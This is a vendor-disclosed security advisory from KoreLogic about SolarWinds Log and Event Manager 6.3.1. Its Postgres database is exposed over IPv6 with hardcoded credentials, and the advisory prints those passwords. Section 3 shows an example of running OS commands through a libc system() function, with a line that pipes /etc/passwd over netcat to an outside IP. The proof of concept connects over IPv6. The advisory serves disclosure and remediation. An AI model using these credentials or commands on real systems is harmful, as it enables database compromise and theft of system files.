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KL-001-2017-009 : Solarwinds LEM Database Listener with Hardcoded Credentials



KL-001-2017-009 : Solarwinds LEM Database Listener with Hardcoded Credentials

Title: Solarwinds LEM Database Listener with Hardcoded Credentials
Advisory ID: KL-001-2017-009
Publication Date: 2017.04.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-009.txt


1. Vulnerability Details

     Affected Vendor: Solarwinds
     Affected Product: Log and Event Manager Virtual Appliance
     Affected Version: v6.3.1
     Platform: Embedded Linux
     CWE Classification: CWE-798: Use of Hard-coded Credentials,
                         CWE-284: Improper Access Control
     Impact: Remote Database Compromise
     Attack vector: psql

2. Vulnerability Description

     The Postgres database has default hardcoded credentials.
     While some security measures were taken to ensure that network
     connectivity to the Postgres database wouldn't be possible
     using IPv4, the same measures were not taken for IPv6.

3. Technical Description

     Reviewing netstat for listening services shows that the postgres
     service is bound to both IPv6 and IPv6 interfaces.

     --(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--
     / # netstat -apn|grep postgres
     tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      949/postgres
     tcp6       0      0 :::5432                 :::*                    LISTEN      949/postgres
     udp        0      0 127.0.0.1:58654         127.0.0.1:58654         ESTABLISHED 949/postgres
     unix  2      [ ACC ]     STREAM     LISTENING     4622     949/postgres        /var/run/postgresql/.s.PGSQL.5432

     An iptables REJECT entry exists for IPv4. This prevents remote
     network connectivity.

     --(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--
     / # iptables -L|grep postgres
     REJECT     tcp  --  anywhere            !localhost           tcp dpt:postgresql reject-with icmp-port-unreachable

     However, there are no entries in the ip6tables at all, and
     the default policy is ACCEPT.

     --(1)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--
     / # ip6tables -L
     Chain INPUT (policy ACCEPT)
     target     prot opt source               destination

     Chain FORWARD (policy ACCEPT)
     target     prot opt source               destination

     Chain OUTPUT (policy ACCEPT)
     target     prot opt source               destination

     Additionally, two accounts exist with default and simple
     credentials.

     --(0)-[1.3.3.8]-[6.3.1]-[root@swi-lem]--
     / # head -n 5 /usr/local/contego/scripts/database/pgsql/flow.sql
     CREATE ROLE trigeo      WITH CREATEDB LOGIN PASSWORD 'rootme';
     CREATE ROLE contego     WITH CREATEDB LOGIN PASSWORD 'reports';

     CREATE DATABASE alertdb WITH OWNER trigeo;
     ALTER DATABASE alertdb OWNER TO trigeo;

     No further testing was conducted against the Postgres
     service. However, the following may be possible.

       1. Connect to Postgres using hardcoded credentials over IPv6.
       2. Run CREATE OR REPLACE FUNCTION which ties to system() in libc.so.6.

       Example: CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS /lib/libc.so.6, system LANGUAGE C STRICT;
privSELECT system(cat /etc/passwd | nc 1.3.3.6 8080);
       Example credit: http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

       3. Run system() calls to run commands on the underlying operating system as
          the postgres user.

4. Mitigation and Remediation Recommendation

     The vendor has released a Hotfix to remediate this
     vulnerability. Hotfix and installation instructions are
     available at:

     https://thwack.solarwinds.com/thread/111223

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.02.16 - KoreLogic sends vulnerability report and PoC to
                  Solarwinds <psirt@xxxxxxxxxxxxxx> using PGP key
                  with fingerprint
                  A86E 0CF6 9665 0C8C 8A7C  C9BA B373 8E9F 951F 918F.
     2017.02.20 - Solarwinds replies that the key is no longer in
                  use, requests alternate communication channel.
     2017.02.22 - KoreLogic submits vulnerability report and PoC to
                  alternate Solarwinds contact.
     2017.02.23 - Solarwinds confirms receipt of vulnerability
                  report.
     2017.04.06 - 30 business days have elapsed since Solarwinds
                  acknowledged receipt of vulnerability details.
     2017.04.11 - Solarwinds releases hotfix and public disclosure.
     2017.04.24 - KoreLogic public disclosure.

7. Proof of Concept

     swi-lem$ ifconfig
     eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56
               inet addr:192.168.53.76  Bcast:192.168.53.255  Mask:255.255.255.0
               inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
               UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
               RX packets:681 errors:320 dropped:0 overruns:0 frame:320
               TX packets:513 errors:0 dropped:0 overruns:0 carrier:0
               collisions:0 txqueuelen:1000
               RX bytes:82845 (80.9 KiB)  TX bytes:59151 (57.7 KiB)

     sploit$ ncat -4 192.168.53.76 5432
     Ncat: Connection refused.

     sploit$ ncat -6 -v fe80::5054:ff:fe12:3456%br0 5432
     Ncat: Version 7.40 ( https://nmap.org/ncat )
     Ncat: Connected to fe80::5054:ff:fe12:3456:5432.


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

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ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
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https://www.korelogic.com/about-korelogic.html

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https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

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